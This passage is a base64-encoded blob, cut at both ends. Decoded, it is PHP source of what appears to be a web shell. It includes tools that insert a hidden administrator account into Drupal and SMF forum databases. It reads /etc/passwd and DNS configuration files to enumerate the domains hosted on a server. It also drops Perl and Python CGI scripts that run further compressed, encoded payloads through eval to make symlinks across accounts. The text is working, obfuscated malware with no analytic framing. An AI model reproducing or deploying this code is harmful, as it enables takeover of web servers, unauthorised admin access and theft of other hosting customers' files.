mFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ3RvZnRvZicsICdpbnB1dFZhbHVlJyA9PiAnc29sZXZpc2libGUnLCAnaW5wdXRTaXplJyA9PiAnNTAnLCAnZGlzYWJsZWQnID0+IHRydWUpCiApOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGdldERlc2N1aWQgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgdWlkIGZyb20gdXNlcnMgb3JkZXIgYnkgdWlkIGRlc2MgbGltaXQgMCwxIik7CiRnZXREZXNjdWlkID0gQG15c3FsaV9mZXRjaF9hc3NvYygkZ2V0RGVzY3VpZCk7CiRnZXREZXNjdWlkID0gJGdldERlc2N1aWRbJ3VpZCddOwokZ2V0ZGVzY3VpZCA9ICRnZXREZXNjdWlkKys7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB1c2VycyAodWlkLG5hbWUscGFzcyxtYWlsLHNpZ25hdHVyZV9mb3JtYXQsc3RhdHVzLHRpbWV6b25lLGluaXQpIHZhbHVlcygnJGdldERlc2N1aWQnLCckYWRtaW4nLCdcJFNcJERQMnk5QWJvbENCT2RcL1d5UWNwenU0ekY1N3FFMG5veUNOZVhaV3YuMzdSNjZWc0ZqT2lDJywnc29sZXZpc2libGVAZmJpLmdvdicsJ2ZpbHRlcmVkX2h0bWwnLCcxJywnRXVyb3BlL0JlcmxpbicsJ3NvbGV2aXNpYmxlQGZiaS5nb3YnKSIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCB1aWQgZnJvbSB1c2VycyB3aGVyZSBuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGUgPSBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9IG15c3FsaV9mZXRjaF9hc3NvYygkc29sZXZpc2libGUpOwokcmVzID0gJHNvbGV2aXNbJ3VpZCddOwp9CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJJTlNFUlQgSU5UTyB1c2Vyc19yb2xlcyAodWlkLHJpZCkgVkFMVUVTICgnIi4kcmVzLiInLCAnMycpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CgppZihpc3NldCgkX1BPU1RbJ2FsZmExMCddKSAmJiAkX1BPU1RbJ2FsZmExMCddID09ICdzbWYnKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNNRiB8PC9kaXY+PHA+PHA+Jy5nZXRDb25maWdIdG1sKCdzbWYnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSxudWxsLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSx0aGlzLmFkbWluLnZhbHVlLG51bGwsXCdzbWZcJyk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnc21mXycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2hpJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiApOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNldHB3QWxnID0gc2hhMShzdHJ0b2xvd2VyKCRhZG1pbikgLiAnc29sZXZpc2libGUnKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fW1lbWJlcnMgKGlkX21lbWJlcixtZW1iZXJfbmFtZSxpZF9ncm91cCxyZWFsX25hbWUscGFzc3dkLGVtYWlsX2FkZHJlc3MpIHZhbHVlcyhudWxsLCckYWRtaW4nLCcxJywnJGFkbWluJywnJHNldHB3QWxnJywnc29sZXZpc2libGVAZmJpLmdvdicpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmVjaG8gIjwvZGl2PiI7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhTWFrZVB3ZCgpewoJaWYoX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKXx8KF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL25hbWVkLmNvbmYiKSYmX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMiKSkpewoJCXJldHVybiAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7Cgl9CgkkZG9jdW1lbnQgPSBleHBsb2RlKCIvIiwgJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSk7CgkkcHVibGljID0gZW5kKCRkb2N1bWVudCk7CglhcnJheV9wb3AoJGRvY3VtZW50KTsKCWFycmF5X3BvcCgkZG9jdW1lbnQpOwoJJHBhdGggPSBpbXBsb2RlKCIvIiwgJGRvY3VtZW50KSAuICIve3VzZXJ9LyIgLiAkcHVibGljOwoJcmV0dXJuICRwYXRoOwp9CmZ1bmN0aW9uIGFsZmFHZXREb21haW5zKCRzdGF0ZSA9IGZhbHNlKXsKCSRzdGF0ZSA9ICJuYW1lZC5jb25mIjsKCSRsaW5lcyA9IGFycmF5KCk7CgkkbGluZXMgPSBfYWxmYV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKCWlmKCEkbGluZXMpewoJCSRsaW5lcyA9IEBzY2FuZGlyKCIvZXRjL3ZhbGlhc2VzLyIpOwoJCSRzdGF0ZSA9ICJ2YWxpYXNlcyI7CgkJaWYoISRsaW5lcyl7CgkJCSRsaW5lcyA9IEBzY2FuZGlyKCIvdmFyL25hbWVkIik7CgkJCSRzdGF0ZSA9ICJuYW1lZCI7CgkJCWlmKCEkbGluZXMgJiYgJHN0YXRlKXsKCQkJCSRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7CgkJCQkkc3RhdGUgPSAicGFzc3dkIjsKCQkJfQoJCX0KCX0KCXJldHVybiBhcnJheSgibGluZXMiID0+ICRsaW5lcywgInN0YXRlIiA9PiAkc3RhdGUpOwp9CmZ1bmN0aW9uIGFsZmFDcmVhdGVQYXJlbnRGb2xkZXIoKXsKCSRwYXJlbnQgPSAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fOwoJaWYoIUBpc19kaXIoJHBhcmVudCkpewoJCUBta2RpcigkcGFyZW50LCAwNzU1LCB0cnVlKTsKCX0KfQpmdW5jdGlvbiBhbGZhc3ltbGluaygpewphbGZhaGVhZCgpOwpBbGZhTnVtKDksMTApOwphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayB8PC9kaXY+PGNlbnRlcj48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1waHBcJykiPnwgU3ltbGluayggcGhwICkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1wZXJsXCcpIj58IFN5bWxpbmsoIHBlcmwgKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxcJ3N5bXB5XCcpIj58IFN5bWxpbmsoIHB5dGhvbiApIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ1N5bUZpbGVcJykiPnwgRmlsZSBTeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSYmKCRfUE9TVFsnYWxmYTInXT09J3N5bXBlcmwnfHwkX1BPU1RbImFsZmEyIl09PSJzeW1weSIpKXsKCSRzeW1wYXRoID0gYWxmYU1ha2VQd2QoKTsKCUBta2RpcignY2dpYWxmYScsMDc1NSk7CglAY2hkaXIoJ2NnaWFsZmEnKTsKCWFsZmFjZ2lodGFjY2VzcygnY2dpJyk7CgkkcGVybCA9ICcjIS91c3IvYmluL3BlcmwgICAtSS91c3IvbG9jYWwvYmFuZG1pbicuIlxuIi4ndXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7bXkgJGFsZmFfZGF0YT0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nIjtldmFsKENvbXByZXNzOjpabGliOjptZW1HdW56aXAoZGVjb2RlX2Jhc2U2NCgiSDRzSUFBQUFBQUFBLzUwWWUxUFRTUHlyTExGbkVxVjVWQkJzMmdLSDRqbWpjaVBvUDVUcmJMTGJOcEltdWV6MlphbWYvWDc3U0JxZ29IT1pJZDNOL3Q3dlpjb29pcktVY1p4eTlPRmljUHIrQStyMjBBNWR4SXd6MURqNTh2N2JsWGNkVEphb01XdjVxSXNNUTIxQ3RZNkh5Rko0TmxybFJReGtqTk1zNVRUbFRiN01hUnR4dXVEdW1FK1NmdHBQTzJMUjY0d3BKcjBPajNsQ2U2Y1pvUVNGUzNUeThld0VYZEtUVHgxWG5YUVlYOElQWGdrU1RVS2pyTUE4enRKMm1xVTBXSGRjZGQ1eEZia3dJMHNVanFJc3lZcXUrY3lUajlrekFpV1cyU0h4REVtVXJwRmpRdUowMVBhOWZCRUVFMXlNNHJRWlpweG5FL1V0ekFwQ2k3YWZMeERCYkF3U1BodktKNUQwMjdBVDVBTXBHazdpVWRxT1FHZGFCRVBRdmptbjhXak0yMkdXRVBXQnhUOW91L1VhS0JzYmpWbVdVTVF3UWM5Um5NNWlGb2V3LzRrdWxwTWtUbS9RbjB2ME55MlNqZ3VDOTh4Z1RSTkdWOW9ObFdlVUp4bzRHZUlCd1J3N2hodU5ZckYxaldETnBpR1FIdUNpd0V1MEFzZFpnTy90Tm1hK1p3UGE4VUE0ODQrWlA0VE5CT2RvMVJnSS8vdHJkQ3dBZzRMeWFaRWlTOFVESVB2RGxVQmUyL2FSMy9ZVWczeE9TdHF2TmRWNGFPM29zRmhwR2tMd1lBMEhBSVhvdjhnZ2NVRWpibFFBaGp2T0p0UmRUUmt0MW00K0RaTTRHb2g0RVlvQVhwTUNDT1dSbStJSkpRNkU3ZEJBejUrakp0SGZaK0FIekNoemY1UG1NY3VUbUlQQTh0ZHkrNjY3aXhydlBuOWJHVy9QVDc5K2V2ZjVjdkRsL1B6U1dOc3E1ZzhBTnM5eXBCQ0QybEt6KzU3RnFXVzR4cTcrYmpzZ2dXWnVJQWNvS0l0TjhBM2xSV20wUGVBNm8rTGxINHIzdmphaVRxY09RS3F3TlI5R213bHBCTEV2WWd5VmtYOEdqK2RENUFQRFBjZm91T0lVMGtRQWNyS0ZWa0tIWEZEQ2FGelFZZGMwSEpDS1NpZGRIWW5uMmtCSHlQeU9aNWhGUlp6ek5rNW93UzFqRHRWRFZJNWhuQkpFc2dtT1U4ZHhETnRzSTNQTWVkNTJYUk9Fb0xaam1JaERsbEhlTlFkaGd0TWI4NTdRbm5mU2FubEthRm9UR2xlQ2I5SHk3RXdoK0ljUDFLeHJBem5pR0NJbG1Nb3NWNnh6U0MySEw3ZzQzb2VzK1pXQVlGTlpUM1IyUGhEUTVVVlBaeHpKQnNEcGZrN0lFUEpmaVJpYUUvbGRmRHFlK2Z2d3lkS2JxTForVmEwYk13SnJYNU9BcGFlV2J6WkxiN1AwRlVRdDFXVEdRRmFvWThGRGZ3cXluRUo2RTArNGp1MGk4MTZDbVRiS2lncW5UREFqMEZKM05HSXZpSklNV29uZUt0YUFJM2hYU0NWN0liUjVOMkZOS1FjVUJLUWFUV3RYQVNyZUIxSjN6Yktnb25RWEV1ck91ZUo1Y0pmTERCZEttNmM1K0wvZzRKY2Nkc1RHWGlrblFEbURCNnJ5dHFLMjFiQ3p1T0JUbkxncVZiSjVTZ3RXbWZpT0VFOWIxdGRhSHRhY1hqT3I1dktrem9lYVc3UlY0OE9OU1E5TFhhUWRIdzhSSW1WUkJEdnl1SlJkYnFyMjVXbkw2ZTBidmEwVXErSlhjTFZ5ek5pODRxcDJqMWhNSGZZQzRRb0lWclUxZ2cxbFhVOTFFVUR2aWlJclJMblNvbFhsRm9zMnJBYUFydW1iWmNFTWNYUXpLckpwU3BwNkJsQWpoaDRmMmg3Q1U1N0ppcXpubS85WnQxODhLR1ZiSytWYkdVVHNhZUN5U242Rkh2UkwwTzBGcml4dThOSjZpVWtMYWwxakllMC96Q0Irb3JFTU1rQ2t5Qkllc1ZjUnRONWNCNmVjVWNTaDN1UGFKT21UY3BSOFVLOTB4a0ZRU01MZG4yamlPaStPZnNEOGh3d0xWcmFCVm01UU12QzFKNjA2UjF1Z01kY2hvZXVPcWtBTEpSOWdrWUpyN293bGlqZTZ2VVhsbDFvRnF5TTdHcWpjT2hVMXBaYU13bnVEaWVoVllhQ0dHUUVpdzEwWUF4cFBQcC9HeExKZ0Z1ZVdQTE92OXE1dHJaSWlyTmFxYTlETjROSVdjNHZVTmREazRJZXE2VkFaUW16OWEyWGlONUtwMkN2TC9OTm5MMi9ocnlIc1U4ZjNKYjZnc3gwd3JER3FXMUJuWG1rdGV0VzZSaDIwNzNtbGZUUnVOVnlvZG5kUW04VFdhaGFEZGlsVklpV24vV3ZvMU1LS0IwSzYwcGw0cXpORmpGU2lXQnNxcjNSRTZMbE00SXZBa0ZoRURKVDM5RkJlOXNyR3NpZUxVejNvb2VSQnlFZDNJcjVWQzNCY2kyK2lyUkk5RnN6Q09TMFZ6SlpDYmZoYTRMNXoyMi9XZ3RpcllHZFJCUXh5M0llV3dDMEFsZzFua0VBeDd5SjRqL2hZV3M5R1RUVmJWQ01IWU1BY3czZ2h6M2VSQjc2b2tHMWhuT3I0d2FsVXNMeHpXSDJnS1IySkhkQ2pTaEE1LzFxTmhUaFNiUW5MTndGM0wxNitETFNkL1NDZnNyRlZvd0Y2aUs2ckM4TWVPR1ZEcW9xbkxRUjE2andtR2dUa2R1SDhjQXV4QjBJQk5uQW9HNGlyQ2lUOGlrNGloc0wxNUFiNnExV2ZRVUZJNzJCL1g0OTN2b3lYWitwbUNQZStDM0V6dkpBM3d3L2x6YkNmbnVmaStzdmdFNkVMeXRCWmxpVFpIT3IxUnlESSt1bGJPWHhreFZJQ3lPdWx4blZ5dVBUMDB4TkNMdUZTcnU3a2VRTHRBK1hqWFB6dElRR1JJSGdoZFZrSDJMOXdTbURRL3cxd0hlbEROVS9DQXJ6UkF4WHZUTjNPbU9Nb29veVZWM0lJMytGYWFxOG5CVUZCUTZ0cjFPTlR1d3pTbmVwT3VHMnlnclJYazdoVk5oUmRUTXV2NWJBbVU2UzhybFplMUU2VS83RUFILzRINWVIS2ZTc1JBQUE9IikpKTsnOwoJJHB5ID0gJyMhL3Vzci9iaW4vcHl0aG9uJy4iXG5pbXBvcnQgemxpYiwgYmFzZTY0XG5hbGZhX2RhdGE9JyIuX19BTEZBX0RBVEFfRk9MREVSX18uIidcbiIuJ2V2YWwoY29tcGlsZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5ZFdOMXo0amdTZnpaL2hkWlRXY09HMkpDNnZRZEMyTXJOVE82bWFuZm42aWI3bEZBdVlRdndqckZja2dpd1UzTi8rM1hyd3hiZ1pLYk9EMWlXK2x2ZFA3VlE0akRwRVhpS1RjMkZJdG1xVUFzOW9VY3hxK2lpWlAxQmorMHpWcXRKTDZpcGxMMmVKVmZGaHJreGwyNGtEODFRTk12MUx1LzFWaVZmMERLRk1ia2xZZWkrdDZJMDN4OCtwVy8vK1FIRzk3U1VyS2VjZFVkOElENm1Zdlg4T0o3N2kwYUlWS0pQeXlWTmM2cm9nRnlTTUFGUGNDWUpHeWVRcTFIMUlMYXMxOHZaa3F5WVFoWDltc3NCZUZvc0d5SnJFRXdHZ3FtdHFEeUxOQ0d3SUZXWUY0SmxLaVJja0Q2WGNVM1ZPaTdrc29BWWhnbFRXVkxSRGN2ampGZkxjRUJvbFpPV0NuZ3QwVE10Q3lxWlRNTEJ3Tk1aSm11K1ljbVhyV1RpYTFKdkYyV1JwV3UxS2NHMUFMakJCQlRIcXVkQzhPb3hmUGZ4N1IrL3ZmLzlJZjNQeDQ4UDRUeVdkVmtvVUJFT1lCczFOekFnWDF6ekd2WTQ4TWRPNTRWMENpOWtTQzRJOHNkLzhxTHFJL1ZnU0l5a2dRbmhobjVtc0FNWjMxWnFTSEsrb1VVMUpNZy9KTmt1UjIvV1N0VzQyL2llSkVsNGlWdG1LQWM2bG1hc3cvbjRDejd6RUlOZythSS82VE9WbVNoZ0kybkpCRGkwWXlTamxTTExBdUpwdU9NNERnY1J1Q2tLV0FpblNrQm1IRXAyR3ltMlYxY1EzMVUxeVZpbG1MaUpabE9WejZaTERwUVpMN200amQ3Y3d6TWFSek5qblhabmNCbE9FeVNhVFJPa1YzbUh5Skl0RlFxa1pDM1k4all5L0dnNnNFZEVRZDR5ZFJ1bGk1SlduNk1UcGFQUjNmWDF5Q20xSWZHMDBrWnpoN1gzOTQ0Um8zMXU3S2xOYmRVQUxkYUhQR3pLb3ZxYzRMZysySzlZN1pXTkFlemVaWmg4eXdjSUd6elI3SlBoUDdNOVVXSUcyYXFUSmVlcFZlTktibk93TmU2WFlpK0EzVTBGbzNtcXE4ZlZiRkRJRkRKZGJXblpURDFUMFJBWkRBbE1IUG11WXJwQTdDd1RBbXEwK1hROGovTmVBQVl4YWNmNUF0M01QcGVGVkhiS3EzYk5wWlB6eUJRcjg5eHN0NkJ4TFFnYVRieG1WUWMreE1pc2FiQWdBNE5lNUwxK0ZielNJcHlvVnBhTTBkaE9NRUhDVGltdG1HNDVFRlpqbVpFUkhNWFpSUDVGMFUyb0RSMHJ6K0Z5OG5wTWJHUVRmeWZQb25PNno5YXExNFBtWERnUG1sWDVXc3c2OTl3UFpTUDl1N2IzeGZpOW1FWW5rWVc0Nmdsa08wbnZRQWVjaEhoNDcvTHdKbmc5NEpic3V4THdaUnNzOXRvU0orOXhIbkVaYzhDY3BRMDZZNU5CRmx6a0REQmtIRGxnWFVEbHJRU0FiMzZsOFdYeVpxU2ZtdzFnVUZGTlJvUnVGZGNBdmdaTFovODN6UDkwQnBhZHdQeE9wNWg4bmRpQjhSOEF3OThrN1FaTEI1VHdZLzFhOFB5QXVCbnNJZFJqZUM4aDZMZ3pCRTVLdlVQTlhnSUJ2bUlBN2FJMm1VWHpYREFwN1FyTzZETEJqSGo4QVo4NWlnNEE0bFBGTnJYcHhURER1NkJPVDN2MTcvVkc4RWhHUmJZR0NRSXMwT04rRlAvMHkxOGNEQXY3TUJxRTVFczAxSVpZTEFGeGh0S0s4TXcxOHpIbVFOMGZXM3JXYWd1Z2tsUlJPZnhwRjFvUmRnU3BYQU9RUXhzVzU0dHdDQTRhYWRpYW9TUG84ekZjbW5iSHNqdS9UM282eHoyd2F0dmFieUlNcDFnTXAxbTkyeFk1dG9SU1VkWHl3V2NLQzRPNDN1bDRXZys3Z2VCRmIvMzVkaG83NENZWlRPczNzVjZESjJCQTMvVElVM0xkSWFkeEFJa2VSL1BlY1ZqMTdIanVwUG5nYTRVZDhZL25majZlQ1JvZEwzdDVaNkZvMHFRS0lJYTIrL0Y2anFiL1BCcDFSc2ZUMEhTUlpxSHBmRTJ6NFVMek5YRm5tMThHRnk0UGpNNmY1NjdmQlk4c3VWY29QNXdhN0lteTJwbzBORTAxWktLT2s1RmxSWjBBUHQ0U1RzS0I5NHYyK0puWVRLN3k0K05CZzRST2JnQUpMY3M3bUlBUVg4ZmJVcVVZdHFiK082eHh3YTdTNzYxMG5lZVdDOFE1UmllbzFlbFdUc3JkY21taVFwTGZRWDdEZTdMbm1CNG5VZkhsTi9VbFdwVTRhRGZsS2h5Ryt0aHpXS0cvdlh4T29XeXdwcUI0ekw2Ukt3M0g4SnoyaVE0eGtPeHhOR25ZNTdpUnhvS2phV2R2dmpDSkIzbDNZWlFNcloxZUZJRUk5clJSMlFUa09CNkJ2WTd0blFTYmJmb3VwaFBUaWR5VHkxdm5TSnRKVFdmbmVSZlRHaHFGdko4dm1scDE5TWNuUWF1N0tjQ1gxTGZhUGZUcUNJT3Q2VWF4aVlMZm8zY0JXV3VJNVgvQkRDOEd2c2hqaDEzTGtwZ2pHZDdZdThEUkRIY2FzQ2pWVlpLbXVsalRGRUV4VFJFTXZMOFR2TTduTGRnSjNjbVZPdFJzUXJCblNmQSsvMVE5VlZNY3pLYjIvQzhVS0huTE1jeUxBN243OWY2T1BMQzczMEM5WHBucXJtZEd2K2kySjJjWkYxUWZIQlZVeTgzWGFXTFdwNGtSaDZhVHhhcHRiMHdiRWphR1JkTzhlTGF0RkdCT25oZlZhakllMWZzYjIzcGRMYmhTZkdQbVRPTTJHZGQ3UUhPNUJodmZMUFZ6WTd1MjVWSjNiZWM5R2ZZN1Z6dFdyTlpxc3VCbGJpWms4UmViWFA4ZEpJZXR6NUpEaXlocFRuNkVQWDh1WklFdDQzK0piWjNJUHc3azN3ZTE1dFUwQWRObmNQVzNaekVldVFjSnU5d1B4WVpjaVNYeExydTZ0b0VDVXdUL3p1aEgzbUprRjdNMTNndE9WcHhrYzMwTkUyd3B6bS9PbW02dGFKYlpvK2lOOFFlcy9ZVCtmTkwrZkhEK1BGVWY5WGt2WVNwbmUyakw3M2xaOGgwNCtTdUlsRS9WTzMxaDR1S2dDWFJRTEc5Y1E4SThWWGQ1L2dESlpISUpVQXpxbzE3WEJKTUpmL0RqYjZRMlNRYTAvNExEcFlSait0dmttQnliNXBvUU82Y0FJSGVYT295YmVDY0t4ZnB1eGN4bEpaZjQvMkd2cTMxNjdYcDNEQ2ZlWHdWaGV4RmxYY3YyVGducnAyM1VFTzhtL3IzRFpDRlVUMDByZDNFd0tTdFlEaGVHQytqZmNRMEt4NUppS3dCQy9nZWpCbWtrIikpLFwnPHN0cmluZz5cJyxcJ2V4ZWNcJykpJzsKCSRjZ2luYW1lID0gInN5bXBlcmwuYWxmYSI7Cgkkc291cmNlID0gJHBlcmw7CgkkbGFuZyA9ICJwZXJsIjsKCWlmKCRfUE9TVFsiYWxmYTIiXT09InN5bXB5Iil7CgkJJGNnaW5hbWUgPSAicHlzeW1saW5rLmFsZmEiOwoJCSRzb3VyY2UgPSAkcHk7CgkJJGxhbmcgPSAicHl0aG9uIjsKCX0KCUBfX3dyaXRlX2ZpbGUoJGNnaW5hbWUsJHNvdXJjZSk7CglAY2htb2QoJGNnaW5hbWUsMDc1NSk7CgllY2hvIF9fcHJlKCk7CgkkcmVzb3VyY2UgPSBhbGZhRXgoInskbGFuZ30geyRjZ2luYW1lfSB7JHN5bXBhdGh9IixmYWxzZSx0cnVlLHRydWUpOwoJaWYoc3RybGVuKCRyZXNvdXJjZSkgPT0gMCl7CgkJZWNobyBBbGZhaUZyYW1lQ3JlYXRvcignY2dpYWxmYS8nLiRjZ2luYW1lKTsKCX1lbHNlewoJCWVjaG8gJHJlc291cmNlOwoJfQp9CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkgJiYgJF9QT1NUWydhbGZhNCddPT0nU3ltRmlsZScpewppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CkFsZmFOdW0oOSwxMCk7CmVjaG8gX19wcmUoKS4nCjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayBGaWxlIEFuZCBEaXJlY3RvcnkgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsbnVsbCxudWxsLFwnU3ltRmlsZVwnLHRoaXMuZmlsZS52